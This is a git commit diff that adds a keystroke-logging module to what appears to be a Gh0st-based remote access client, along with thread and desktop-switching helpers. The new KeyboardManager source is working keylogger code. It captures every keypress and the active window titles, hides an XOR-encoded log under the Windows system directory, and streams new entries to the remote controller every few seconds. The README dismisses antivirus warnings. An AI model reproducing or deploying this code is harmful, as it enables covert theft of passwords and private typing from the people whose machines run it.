feature: Add keyboard record feature

2025-01-31 22:22:16 +08:00
parent ac2d54a706
commit 0d6d171909
23 changed files with 1048 additions and 3 deletions
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -313,6 +313,11 @@ reorg: Move commands to common/commands.h
 发布一个运行**非常稳定**的版本v1.0.6，该版本不支持在较老的Windows XP系统运行（注：VS2019及以后版本已不支持XP工具集，为此需要更早的VS）。
 您可以从GitHub下载最新的Release，也可以clone该项目在相关目录找到。如果杀毒软件报告病毒，这是正常现象，请信任即可，或者您可以亲自编译。

+2025.02.01
+
+参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2)，增加键盘记录功能。实质上就是拷贝如下四个文件：
+
+*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*

 # 沟通反馈

--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -169,6 +169,7 @@
    <ClCompile Include="FileManager.cpp" />
    <ClCompile Include="IOCPClient.cpp" />
    <ClCompile Include="KernelManager.cpp" />
+    <ClCompile Include="KeyboardManager.cpp" />
    <ClCompile Include="LoginServer.cpp" />
    <ClCompile Include="Manager.cpp" />
    <ClCompile Include="RegisterManager.cpp" />
@@ -193,6 +194,7 @@
    <ClInclude Include="FileManager.h" />
    <ClInclude Include="IOCPClient.h" />
    <ClInclude Include="KernelManager.h" />
+    <ClInclude Include="KeyboardManager.h" />
    <ClInclude Include="LoginServer.h" />
    <ClInclude Include="Manager.h" />
    <ClInclude Include="RegisterManager.h" />
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -10,6 +10,8 @@
 #include "RegisterManager.h"
 #include "ServicesManager.h"
 #include "VideoManager.h"
+#include "KeyboardManager.h"
+
 #include "KernelManager.h" 

 extern CONNECT_ADDRESS g_SETTINGS;
@@ -112,3 +114,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
 {
 	return LoopManager<CServicesManager, 0>(lParam);
 }
+
+DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
+{
+	return LoopManager<CKeyboardManager1, 0>(lParam);
+}
--- a/client/Common.h
+++ b/client/Common.h
@@ -30,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
 DWORD WINAPI LoopAudioManager(LPVOID lParam);
 DWORD WINAPI LoopRegisterManager(LPVOID lParam);
 DWORD WINAPI LoopServicesManager(LPVOID lParam);
+DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -117,6 +117,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

 	switch(szBuffer[0])
 	{
+	case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
+		{
+			m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
+				(LPTHREAD_START_ROUTINE)LoopKeyboardManager,
+				&m_hThread[m_ulThreadCount], 0, NULL);;
+			break;
+		}
+
 	case COMMAND_TALK:
 		{
 			m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -0,0 +1,505 @@
+// KeyboardManager.cpp: implementation of the CKeyboardManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "KeyboardManager.h"
+#include <tchar.h>
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+#include <iostream>
+#include <winbase.h>
+#include <winuser.h>
+using namespace std;
+
+#define FILE_PATH "\\MODIf.html"
+#define CAPTION_SIZE 1024
+
+CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
+{
+    sendStartKeyBoard();
+    WaitForDialogOpen();
+    sendOfflineRecord();
+
+    GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
+    lstrcat(m_strRecordFile, FILE_PATH);
+
+    m_bIsWorking = true;
+    dKeyBoardSize = 0;
+
+    m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL);
+    m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL);
+}
+
+CKeyboardManager1::~CKeyboardManager1()
+{
+    m_bIsWorking = false;
+    WaitForSingleObject(m_hWorkThread, INFINITE);
+    WaitForSingleObject(m_hSendThread, INFINITE);
+    CloseHandle(m_hWorkThread);
+    CloseHandle(m_hSendThread);
+}
+
+void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
+{
+    if (lpBuffer[0] == COMMAND_NEXT)
+        NotifyDialogIsOpen();
+
+    if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
+    }
+
+    if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
+        DeleteFile(m_strRecordFile);
+        HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
+                                  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+        CloseHandle(hFile);
+        dKeyBoardSize = 0;
+    }
+}
+
+int CKeyboardManager1::sendStartKeyBoard()
+{
+    BYTE	bToken[2];
+    bToken[0] = TOKEN_KEYBOARD_START;
+    bToken[1] = (BYTE)true;
+
+    return Send((LPBYTE)&bToken[0], sizeof(bToken));
+}
+
+
+int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
+{
+    int nRet = -1;
+    DWORD	dwBytesLength = 1 + nSize;
+    LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
+
+    lpBuffer[0] = TOKEN_KEYBOARD_DATA;
+    memcpy(lpBuffer + 1, lpData, nSize);
+
+    nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
+    LocalFree(lpBuffer);
+
+    return nRet;
+}
+
+int CKeyboardManager1::sendOfflineRecord(DWORD	dwRead)
+{
+    int		nRet = 0;
+    DWORD	dwSize = 0;
+    DWORD	dwBytesRead = 0;
+    HANDLE	hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
+                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+    if (hFile != INVALID_HANDLE_VALUE) {
+        dwSize = GetFileSize(hFile, NULL);
+        dKeyBoardSize = dwSize;
+        if (0 != dwRead) {
+            SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
+            dwSize -= dwRead;
+        }
+
+        TCHAR *lpBuffer = new TCHAR[dwSize];
+        ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
+
+        // <20><><EFBFBD><EFBFBD>
+        for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
+            lpBuffer[i] ^= '`';
+
+        nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
+        delete[] lpBuffer;
+    }
+    CloseHandle(hFile);
+    return nRet;
+}
+
+
+string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
+{
+    string KeyString = "";
+    //<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
+    int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
+    bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
+    if(Key >=186 && Key <=222) {
+        switch(Key) {
+        case 186:
+            if(IS)
+                KeyString = ":";
+            else
+                KeyString = ";";
+            break;
+        case 187:
+            if(IS)
+                KeyString = "+";
+            else
+                KeyString = "=";
+            break;
+        case 188:
+            if(IS)
+                KeyString = "<";
+            else
+                KeyString = ",";
+            break;
+        case 189:
+            if(IS)
+                KeyString = "_";
+            else
+                KeyString = "-";
+            break;
+        case 190:
+            if(IS)
+                KeyString = ">";
+            else
+                KeyString = ".";
+            break;
+        case 191:
+            if(IS)
+                KeyString = "?";
+            else
+                KeyString = "/";
+            break;
+        case 192:
+            if(IS)
+                KeyString = "~";
+            else
+                KeyString = "`";
+            break;
+        case 219:
+            if(IS)
+                KeyString = "{";
+            else
+                KeyString = "[";
+            break;
+        case 220:
+            if(IS)
+                KeyString = "|";
+            else
+                KeyString = "\\";
+            break;
+        case 221:
+            if(IS)
+                KeyString = "}";
+            else
+                KeyString = "]";
+            break;
+        case 222:
+            if(IS)
+                KeyString = '"';
+            else
+                KeyString = "'";
+            break;
+        }
+    }
+    //<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
+    if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
+        KeyString = "[Esc]";
+    else if (Key == VK_F1) // F1<46><31>F12
+        KeyString = "[F1]";
+    else if (Key == VK_F2)
+        KeyString = "[F2]";
+    else if (Key == VK_F3)
+        KeyString = "[F3]";
+    else if (Key == VK_F4)
+        KeyString = "[F4]";
+    else if (Key == VK_F5)
+        KeyString = "[F5]";
+    else if (Key == VK_F6)
+        KeyString = "[F6]";
+    else if (Key == VK_F7)
+        KeyString = "[F7]";
+    else if (Key == VK_F8)
+        KeyString = "[F8]";
+    else if (Key == VK_F9)
+        KeyString = "[F9]";
+    else if (Key == VK_F10)
+        KeyString = "[F10]";
+    else if (Key == VK_F11)
+        KeyString = "[F11]";
+    else if (Key == VK_F12)
+        KeyString = "[F12]";
+    else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
+        KeyString = "[PrScrn]";
+    else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        KeyString = "[Scroll Lock]";
+    else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
+        KeyString = "[Pause]";
+    else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
+        KeyString = "[Caps Lock]";
+
+    //-------------------------------------//
+    //<2F><><EFBFBD>Ƽ<EFBFBD>
+    else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
+        KeyString = "[Backspace]";
+    else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        KeyString = "[Enter]\n";
+    else if (Key == VK_SPACE) // <20>ո<EFBFBD>
+        KeyString = " ";
+    //<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD>򣬿<EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>ǲ<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
+    //<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
+    /*
+    else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
+    KeyString = "[Shift]";
+    else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
+    KeyString = "[SHIFT]";
+    */
+    /*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
+    else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
+        KeyString = "[Tab]";
+    else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
+        KeyString = "[Ctrl]";
+    else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
+        KeyString = "[CTRL]";
+    else if (Key == VK_LMENU) // <20>󻻵<EFBFBD><F3BBBBB5><EFBFBD>
+        KeyString = "[Alt]";
+    else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
+        KeyString = "[ALT]";
+    else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
+        KeyString = "[Win]";
+    else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
+        KeyString = "[WIN]";
+    else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
+        KeyString = "<EFBFBD>Ҽ<EFBFBD>";
+    else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
+        KeyString = "[Insert]";
+    else if (Key == VK_DELETE) // ɾ<><C9BE>
+        KeyString = "[Delete]";
+    else if (Key == VK_HOME) // <20><>ʼ
+        KeyString = "[Home]";
+    else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
+        KeyString = "[End]";
+    else if (Key == VK_PRIOR) // <20><>һҳ
+        KeyString = "[PgUp]";
+    else if (Key == VK_NEXT) // <20><>һҳ
+        KeyString = "[PgDown]";
+    // <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
+    else if (Key == VK_CANCEL) // Cancel
+        KeyString = "[Cancel]";
+    else if (Key == VK_CLEAR) // Clear
+        KeyString = "[Clear]";
+    else if (Key == VK_SELECT) //Select
+        KeyString = "[Select]";
+    else if (Key == VK_PRINT) //Print
+        KeyString = "[Print]";
+    else if (Key == VK_EXECUTE) //Execute
+        KeyString = "[Execute]";
+
+    //----------------------------------------//
+    else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
+        KeyString = "[<5B><>]";
+    else if (Key == VK_RIGHT)
+        KeyString = "[<5B><>]";
+    else if (Key == VK_UP)
+        KeyString = "[<5B><>]";
+    else if (Key == VK_DOWN)
+        KeyString = "[<5B><>]";
+    else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        KeyString = "[NumLock]";
+    else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
+        KeyString = "+";
+    else if (Key == VK_SUBTRACT)
+        KeyString = "-";
+    else if (Key == VK_MULTIPLY)
+        KeyString = "*";
+    else if (Key == VK_DIVIDE)
+        KeyString = "/";
+    else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
+        KeyString = ".";
+    //С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
+    else if (Key == VK_NUMPAD0)
+        KeyString = "0";
+    else if (Key == VK_NUMPAD1)
+        KeyString = "1";
+    else if (Key == VK_NUMPAD2)
+        KeyString = "2";
+    else if (Key == VK_NUMPAD3)
+        KeyString = "3";
+    else if (Key == VK_NUMPAD4)
+        KeyString = "4";
+    else if (Key == VK_NUMPAD5)
+        KeyString = "5";
+    else if (Key == VK_NUMPAD6)
+        KeyString = "6";
+    else if (Key == VK_NUMPAD7)
+        KeyString = "7";
+    else if (Key == VK_NUMPAD8)
+        KeyString = "8";
+    else if (Key == VK_NUMPAD9)
+        KeyString = "9";
+    //-------------------------------------------//
+
+    //-------------------------------------------//
+    //*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
+    else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
+        if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
+            if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
+                KeyString = Key;
+            else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
+                KeyString = Key - 32;
+        } else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+            if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
+                KeyString = Key - 32;
+            else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
+                KeyString = Key;
+        }
+    } else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
+        if(IS) {
+            switch(Key) {
+            case 48: //0
+                KeyString = ")";
+                break;
+            case 49://1
+                KeyString = "!";
+                break;
+            case 50://2
+                KeyString = "@";
+                break;
+            case 51://3
+                KeyString = "#";
+                break;
+            case 52://4
+                KeyString = "$";
+                break;
+            case 53://5
+                KeyString = "%";
+                break;
+            case 54://6
+                KeyString = "^";
+                break;
+            case 55://7
+                KeyString = "&";
+                break;
+            case 56://8
+                KeyString = "*";
+                break;
+            case 57://9
+                KeyString = "(";
+                break;
+            }
+        } else
+            KeyString = Key;
+    }
+    if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
+        if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
+            if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
+                if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
+                    KeyString = Key + 32;
+                else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
+                    KeyString = Key;
+            } else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
+                if(IS) {
+                    KeyString = Key;
+                } else {
+                    Key = Key + 32;
+                    KeyString = Key;
+                }
+            }
+        }
+    }
+
+    return KeyString;
+}
+
+void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
+{
+    HANDLE	hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
+                               NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+    DWORD dwBytesWrite = 0;
+    DWORD dwSize = GetFileSize(hFile, NULL);
+    if (dwSize < 1024 * 1024 * 50)
+        SetFilePointer(hFile, 0, 0, FILE_END);
+
+
+    // <20><><EFBFBD><EFBFBD>
+    int	nLength = lstrlen(lpBuffer);
+    TCHAR*	lpEncodeBuffer = new TCHAR[nLength];
+    for (int i = 0; i < nLength; i++)
+        lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
+    WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
+    CloseHandle(hFile);
+
+    delete [] lpEncodeBuffer;
+    return;
+}
+
+BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
+{
+    HWND hFocus = GetForegroundWindow();
+    BOOL ReturnFlag = FALSE;
+    if (hFocus != PreviousFocus) {
+        if (lstrlen(WindowCaption) > 0) {
+            if (hasData) {
+                SYSTEMTIME   s;
+                GetLocalTime(&s);
+                wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d  %02d:%02d:%02d\r\n"),
+                    WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
+            }
+            memset(WindowCaption, 0, CAPTION_SIZE);
+            ReturnFlag=TRUE;
+        }
+        PreviousFocus = hFocus;
+        SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
+    }
+    return ReturnFlag;
+}
+
+DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
+{
+    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
+
+    while(pThis->m_bIsWorking) {
+        DWORD dwSize =0;
+        HANDLE	hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
+                                   NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+        if (hFile != INVALID_HANDLE_VALUE) {
+            dwSize = GetFileSize(hFile, NULL);
+        }
+        CloseHandle(hFile);
+
+        if (pThis->dKeyBoardSize != dwSize) {
+            pThis->sendOfflineRecord(pThis->dKeyBoardSize);
+        }
+
+        Sleep(3000);
+    }
+    return 0;
+}
+
+DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
+{
+    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
+
+    TCHAR KeyBuffer[2048] = {};
+	TCHAR szText[CAPTION_SIZE] = {};
+    TCHAR WindowCaption[CAPTION_SIZE] = {};
+    HWND PreviousFocus = NULL;
+    while(pThis->m_bIsWorking) {
+        Sleep(5);
+        int num = lstrlen(KeyBuffer);
+        if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+            bool newWindowInput = strlen(szText);
+            if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+                lstrcat(KeyBuffer, szText);
+                memset(szText, 0, sizeof(szText));
+            }
+            if (lstrlen(KeyBuffer) > 0) {
+                if (!newWindowInput)
+                    lstrcat(KeyBuffer, _T("\r\n"));
+                const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
+                memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
+                memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
+                SaveToFile(pThis->m_strRecordFile, KeyBuffer);
+                memset(KeyBuffer,0,sizeof(KeyBuffer));
+            }
+        }
+        for(int i = 8; i <= 255; i++) {
+            if((GetAsyncKeyState(i)&1) == 1) {
+                string TempString = GetKey (i);
+                lstrcat(KeyBuffer,TempString.c_str());
+            }
+        }
+    }
+    return 0;
+}
--- a/client/KeyboardManager.h
+++ b/client/KeyboardManager.h
@@ -0,0 +1,35 @@
+// KeyboardManager.h: interface for the CKeyboardManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
+#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include "..\Manager.h"
+
+class CKeyboardManager1 : public CManager
+{
+public:
+    CKeyboardManager1(CClientSocket *pClient, int n=0);
+    virtual ~CKeyboardManager1();
+    virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+    static DWORD WINAPI KeyLogger(LPVOID lparam);
+    static DWORD WINAPI SendData(LPVOID lparam);
+
+    HANDLE m_hWorkThread,m_hSendThread;
+    DWORD dKeyBoardSize;
+    TCHAR	m_strRecordFile[MAX_PATH];
+private:
+    BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
+    int sendStartKeyBoard();
+    int sendOfflineRecord(DWORD	dwRead  = 0);
+    int sendKeyBoardData(LPBYTE lpData, UINT nSize);
+
+    bool m_bIsWorking;
+};
+
+#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -5,6 +5,117 @@
 #include "stdafx.h"
 #include "Manager.h"
 #include "IOCPClient.h"
+#include <process.h>
+
+typedef struct {
+	unsigned(__stdcall* start_address)(void*);
+	void* arglist;
+	bool	bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HANDLE	hEventTransferArg;
+} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
+
+BOOL SelectDesktop(TCHAR* name);
+
+unsigned int __stdcall ThreadLoader(LPVOID param)
+{
+	unsigned int	nRet = 0;
+	try {
+		THREAD_ARGLIST	arg;
+		memcpy(&arg, param, sizeof(arg));
+		SetEvent(arg.hEventTransferArg);
+		// <20><>׿<EFBFBD>潻<EFBFBD><E6BDBB>
+		if (arg.bInteractive)
+			SelectDesktop(NULL);
+
+		nRet = arg.start_address(arg.arglist);
+	}
+	catch (...) {
+	};
+	return nRet;
+}
+
+HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
+	SIZE_T dwStackSize,                       // initial stack size
+	LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
+	LPVOID lpParameter,                       // thread argument
+	DWORD dwCreationFlags,                    // creation option
+	LPDWORD lpThreadId, bool bInteractive)
+{
+	HANDLE	hThread = INVALID_HANDLE_VALUE;
+	THREAD_ARGLIST	arg;
+	arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
+	arg.arglist = (void*)lpParameter;
+	arg.bInteractive = bInteractive;
+	arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
+	hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
+	WaitForSingleObject(arg.hEventTransferArg, INFINITE);
+	CloseHandle(arg.hEventTransferArg);
+
+	return hThread;
+}
+
+BOOL SelectHDESK(HDESK new_desktop)
+{
+	HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
+
+	DWORD dummy;
+	char new_name[256];
+
+	if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
+		return FALSE;
+	}
+
+	// Switch the desktop
+	if (!SetThreadDesktop(new_desktop)) {
+		return FALSE;
+	}
+
+	// Switched successfully - destroy the old desktop
+	CloseDesktop(old_desktop);
+
+	return TRUE;
+}
+
+// - SelectDesktop(char *)
+// Switches the current thread into a different desktop, by name
+// Calling with a valid desktop name will place the thread in that desktop.
+// Calling with a NULL name will place the thread in the current input desktop.
+BOOL SelectDesktop(TCHAR* name)
+{
+	HDESK desktop;
+
+	if (name != NULL) {
+		// Attempt to open the named desktop
+		desktop = OpenDesktop(name, 0, FALSE,
+			DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
+			DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
+			DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
+			DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
+	}
+	else {
+		// No, so open the input desktop
+		desktop = OpenInputDesktop(0, FALSE,
+			DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
+			DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
+			DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
+			DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
+	}
+
+	// Did we succeed?
+	if (desktop == NULL) {
+		return FALSE;
+	}
+
+	// Switch to the new desktop
+	if (!SelectHDESK(desktop)) {
+		// Failed to enter the new desktop, so free it!
+		CloseDesktop(desktop);
+		return FALSE;
+	}
+
+	// We successfully switched desktops!
+	return TRUE;
+}

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -9,8 +9,20 @@
 #pragma once
 #endif // _MSC_VER > 1000

+#include <windows.h>
+#include "..\common\commands.h"
+
 class IOCPClient;

+typedef IOCPClient CClientSocket;
+
+HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
+	SIZE_T dwStackSize,                       // initial stack size
+	LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
